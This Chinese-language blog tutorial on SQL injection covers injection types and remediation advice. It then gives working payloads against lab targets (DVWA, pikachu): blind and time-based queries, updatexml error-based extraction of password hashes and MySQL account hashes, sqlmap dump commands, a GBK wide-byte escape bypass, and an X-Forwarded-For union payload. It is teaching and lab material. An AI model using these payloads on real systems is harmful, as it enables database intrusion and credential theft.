sql注入


web安全漏洞与利用

由于之前已经通关sqli-labs,所以这次写sql注入重点写思路、原理、概念,或者说是靶场所覆盖不了的细节方面。

sql注入

漏洞描述

 Web 程序代码中对用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑。

黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。

测试方法

工具

在有可控参数的地方用sqlmap检查,或者burp中的sqlmap插件,或者其他sql注入工具

手工测试

利用单引号,and 1=1 and 1=2,字符型测试

image-20210805134630643

image-20210805134710102

修复建议

代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御sql 注入的最佳方法。

  1. 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

    当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。

  2. 对进入数据库的特殊字符( ‘ <>&*; 等)进行转义处理,或编码转换

  3. 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。

  4. 数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。

  5. 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。

  6. 严格限制用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

  7. 避免显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

与mysql相关知识

在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema的库,其中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令。

Mysql5.0以下的只能暴力跑表名;5.0 以下是多用户单操作,5.0 以上是多用户多操作。

重点是columns 、tables、SCHEMATA这三个表

SCHEMA_NAME 记录着库的信息

tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名

columns 存储该用户创建的所有数据库的库名、标名和字段名。

至于查询方法就不写了,之前的写的很详细

什么是sql注入?

SQL注入就是把SQL命令插入到web表单、输入域名、页面请求,最终达到欺骗 服务器执行恶意SQL命令的目的。

sql注入原理

用户可控参数中注入SQL语法,破坏原有SQL结构,在后台SQL服务器上进行解析执行攻击。

SQL 注入漏洞的产生需要满足以下两个条件

  • 参数用户可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。

sql注入分类

按 SQLMap 分类

  1. UNION query SQL injection(可联合查询注入)
  2. Stacked queries SQL injection(可多语句查询注入)堆叠查询
  3. Boolean-based blind SQL injection(布尔型注入)
  4. Error-based SQL injection(报错型注入)
  5. Time-based blind SQL injection(基于时间延迟注入)

按接受请求类型分类

  1. GET 注入

    GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要URL 编码

  2. POST 注入

    POST 请求参数是放在请求 body 里的,长度没有限制

  3. COOKIE 注入

    cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

按注入数据类型的区分

  1. int 整型

    select * from users where id=1

  2. sting 字符型

    select * from users where username=’admin’

  3. like 搜索型

    select * from news where title like ‘%标题%’

sql注入常规利用思路

  1. 寻找注入点,可以通过 web 扫描工具实现

  2. 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

  3. 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

    还可以获取数据库的 root 账号 密码—思路

  4. 可以通过获得的用户信息,寻找后台登录。利用后台或了解的进一步信息。

手工注入常规思路

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解 SQL 查询语句中的字段数 order by N
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 查询到账户的数据

详细过程在这不写了,可以看之前的sqli-labs

union联合注入原理

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。

image-20210805192510173

guestbook有三个字段,users有8个字段,不相同所以会报错。可以把查询users的*换成三个字段即可

image-20210805192722556

这里的123可以替换成我们想要知道的数据

同样这里的详细利用略过

boolean 布尔型盲注入

代码上来看布尔盲注

我们分析下dvwa中的布尔盲注源码

image-20210805193229899

像这种只有正确与错误页面。页面不会显示数据库里任何内容,如果存在注入,叫做盲注入。

boolean 布尔型注入攻击

这里我们写下关于布尔盲注的过程,跟之前的文章有所不同,之前是纯手工注,只能猜信息,我们这里使用burp来减轻我们的工作量

下列都是用减减空格(– )注释

判断是否存在注入

我们输入1返回exist,加单引号报错,注释后又正常,可能存在注入

我们通过sleep函数测试

1‘ and sleep(5) -- 

image-20210805193806641

也可查看耗时

image-20210805193942623

猜测数据库长度

经过尝试发现为4

1'and if(length(database())=4,1,0) -- 

image-20210805194558305

查库名

接下来我们就要通过burp工具来减少我们的工作量

1'and if(substring(database(),1,1)='d',1,0) -- 

if判断,正确返回1,错误0

substring取数据库,第一个1:从1开始,第二个1:取一个

image-20210805195036490

我们抓包放到intruder

模式设置为最后一个

我们每次取一个,然后同后面对比

所以将第一个1加变量,后面的d加变量

image-20210805195205595

第一个变量

长度分别1234

image-20210805195350992

第二个变量

放入我们准备的字典

0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
.
@
_
:

image-20210805195412200

将状态为200过滤出来

image-20210805195550183

拼接出来数据库名为dvwa

查表名

1'and if(substring((select table_name from information_schema.tables where table_schema='dvwa' limit 1),1,1)='g',1,0) -- 

image-20210805200120037

还是用burp,同上

这里存在个问题,我们不知道表长是多少,但是一般他长度不会超过40,所以我们对于第一个变量字典设为1-40即可。

image-20210805200325036

这里我们知道他长度没超过20,设个20偷个懒~~~///(^v^)\\\~

image-20210805200626071

同样过滤出200

image-20210805200659734

这里我们想知道的账号密码在另一个user表里,想知道users,操作同此,改为limit 1,1即可

到这我们为什么不把这个limit后的地方也设为一个变量呢?我们试试

1'and if(substring((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g',1,0) -- 

多个的话就不是limit 1是第一个,limit 0,1才是第一个

image-20210805201340886

三个变量

image-20210805201451481

第一个变量,从0到1,共俩个。其他不变

image-20210805201709689

俩个表都出来了

查列名

列名也同上即可

1'and if(substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i',1,0) -- 

image-20210805202111402

1

这里查询到的不光是dvwa库中的user,我们需要加一个限制条件 table_schema=database(),这样查询到的就是当前库中的user中的列

1'and if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) -- 

image-20210805203901140

image-20210805204026300

image-20210805204319087

这样查询到的就是dvwa库中的user表中的列名

爆数据

1'and if(substring((select concat(user,0x3a,password) from dvwa.users limit 1),1,1)='a',1,0) -- 

image-20210805205931481

image-20210805205956497

image-20210805210016021

这里查询的第一组结果需要做排序,不难看出用户为admin,密码经过MD5加密

报错注入

数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法错语句 select’

11064 - You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near ‘’’ at line 1

程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错误。

特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回,可以采用报错注入。

代码分析

我们分析dvwa的报错注入源码

image-20210806112551934

另一种爆库方法

输入 1’and info()–+ 显示当前库,原理是

SELECT first_name, last_name FROM users WHERE user_id = ‘1’ and info()–

会报错显示当前库不存在这个函数 这样当前库名就显示在页面上。

image-20210806112741385

substring方法绕过长度限制

我们之前知道常用的三种报错注入关键字floor、updatexml、extractvalue

floor 限制长度64位

updatexml 限制长度32位,并且返回不是xml才会生效

extractvalue 限制长度32位

介绍substring截取方法来拼接得到完整数据

1' and updatexml(1,concat(0x7e,substring((select password from dvwa.users limit 0,1),1,34),0x7e),1) -- 

image-20210806113145619

我们知道MD5加密的长度是32位,这里只显示了31位

第32位没有显示,通过调整substring截取的范围得到第32位

1' and updatexml(1,concat(0x7e,substring((select password from dvwa.users limit 0,1),32,34),0x7e),1) -- 

image-20210806113338977

这样就拼接出来了我们需要的密码

获取 mysql 账号和密码

获取账号和密码需要 root 用户才有足够大的权限

select authentication_string from mysql.user limit 1;

select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.userlimit 1 )),0x7e),1))

select(updatexml(1,concat(0x7e,(select (substring((select authentication_string frommysql.user limit 1),32,40))),0x7e),1))

floor方法+burp

floor长度为64位,可以完整获取内容,不需要截取,所以我们可以通过burp获取

将limit 0,1中的0设置为变量

image-20210806114301561

image-20210806114317833

image-20210806114345091

时间注入

源码分析

直接获取 name 带进数据库进行查询,但是不管是否存在记录,页面返回都一样

image-20210806114622319

我们这次来用sqlmap来进行时间盲注

sqlmap -u"http://192.168.163.146/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbms mysql -v 1 --technique=T --batch

-u 表示检测的 url

-p 指定的检测参数

–dbms 数据库类型

-v 显示调试模式

–technique=T 检测方法为时间注入

–batch 运行过程中选择默认的Y或N

image-20210806115137774

sqlmap判断它是时间型盲注,接下里获取用户和库名

sqlmap -u"http://192.168.163.146/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbms mysql --current-user --current-db  -v 1 --technique=T --batch

–current-user 获取用户

–current-db 当前库

image-20210806115433146

接下来爆库中的表

sqlmap -u"http://192.168.163.146/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbms mysql --tables -D pikachu  -v 1 --technique=T --batch

–tables 爆表

-D 库名 设置库名

image-20210806115753055

接下来爆表中列

sqlmap -u"http://192.168.163.146/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbms mysql --columns -T users -D pikachu  -v 1 --technique=T --batch

–columns 爆字段

-T 表名 设置表名

image-20210806115732948

接下来爆字段的具体数据

sqlmap -u"http://192.168.163.146/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --dbms mysql --dump -C"username,password" -T users -D pikachu  -v 1 --technique=T --batch --threads 10

–dump 爆数据

-C “username,password” 设置字段

–threads 设置线程

image-20210806121332383

堆叠注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠注入就是利用此特点,在第二条语句中构造要执行攻击的语句。

在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

但是堆叠查询只能返回第一条查询信息,不返回后面的信息。

select version();select database()

image-20210806200352347

堆叠注入的危害是很大的,可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。

之前的注入不能进行增删改查,所以说堆叠注入危害更大

分析源码

image-20210806201059776

详见sqli-labs less 38

二次注入

二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

二次注入原理

在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但 是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。

比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入

二次注入图解

image-20210806201342996

分析源码

image-20210806201531516

mysql_escape_string 函数会将特殊字符进行过滤 如’ 经过转义就成了' 然后用insert into 存入在数据库中。

login.php的源码

image-20210806201737067

登录获取用 mysql_escape_string 对输入的参数进行转义

转义之后在数据库中查找指定的账号和密码 再传入到 session 里。

pass_change.php的源码

image-20210806201835598

$_SESSION[‘username’] 赋值给$username,无任何过滤再带入 UPDATE 语句中造成注入。

整个流程就是注册用户,更改密码时会触法注入。可以看到二次注入比较。通常发生在更改,需要二次带入数据时提交的功能里

详见sqli-labs less24

宽字节注入

在 SQL 进行防御的时候,一般会开启 gpc,过滤特殊字符。

一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防御被绕过,达到注入的目的。

如果数据库设置宽字节字符集 gbk ,会导致宽字节注入,从而逃逸 gpc

简单来讲:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入

深入的讲:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)。

gpc绕过:

%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運' 
%df'====================>%df\'=====================>運' 

分析源码

image-20210806202621306

首先 check_addlashes 是将特殊字符进行过滤,将’ 变成\‘

mysql_query 设置数据库的编码为 gbk, 将 id 参数传入到 SQL 中带入查询。

传入%df%27 即可逃逸 gpc,故存在宽字节注入

详见sqli-labs less 32

COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。

GET 在url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。

image-20210806202933368

get 在 url 栏。即使提交的方法是 post,只要在 url 拦上都可以传递 get。

post 在正文里 。提交的方法必须存在 post

cookie 有没有 post 都可以

分析源码

image-20210806203128021

$cookee = $_COOKIE[‘uname’];获取值并且保存到$cookie 中,再直接拼接到 sql 带入查询,造成注入。

详见sqli-labs less 20

base64 编码注入

base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,

如搜索栏 或者 id 接收参数,有可能使用 base64 处理传递的参数。

在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码,base64_decode()这个函数对 base64 进行解码。

编码解码流程:

1 ->base64 编码->MQ==->base64 解密->1

base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符。

编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执行,从而形式 SQL 注入。

分析源码

image-20210806203558168

$cookee = base64_decode($cookee); 将$cookee 传过来的参数进行解码

$cookee 传递过来的数据必须先进行编码,否则解码不了会导致出错。

详见sqli-labs less 21

xff注入攻击

X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。

使用 burpsuite X-Forwarded-for: 9.9.9.9 可以随意设置字符串,如果程序中获取这个值再带入数据库查询 会造成 SQL 注入。

除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候 没有过滤会造成 SQL 注入或者更高的危害。

代码分析

image-20210814115119767

getenv(‘HTTP_X_FORWARDED_FOR’)获取远程客户端的HTTP_X_FORWARDED_FOR的值

没有进行过滤拼接SQL语句带入查询造成注入。

详细攻击

在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’ ,用户在注册的时候,如果存在安全隐患 会出现错误页面或者报错。从而导致注册或者登录用户失败。

burpsuite 抓包 提交 输入检测语句

X-Forwarded-for: 127.0.0.1'and 1=1#

X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样 存在 SQL 注入漏洞

获取敏感信息

X-Forwarded-for: -127.0.0.1' union select 1,2,user(),(select concat(username,0x3a,password) from users limit 1)#

image-20210814115808134


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录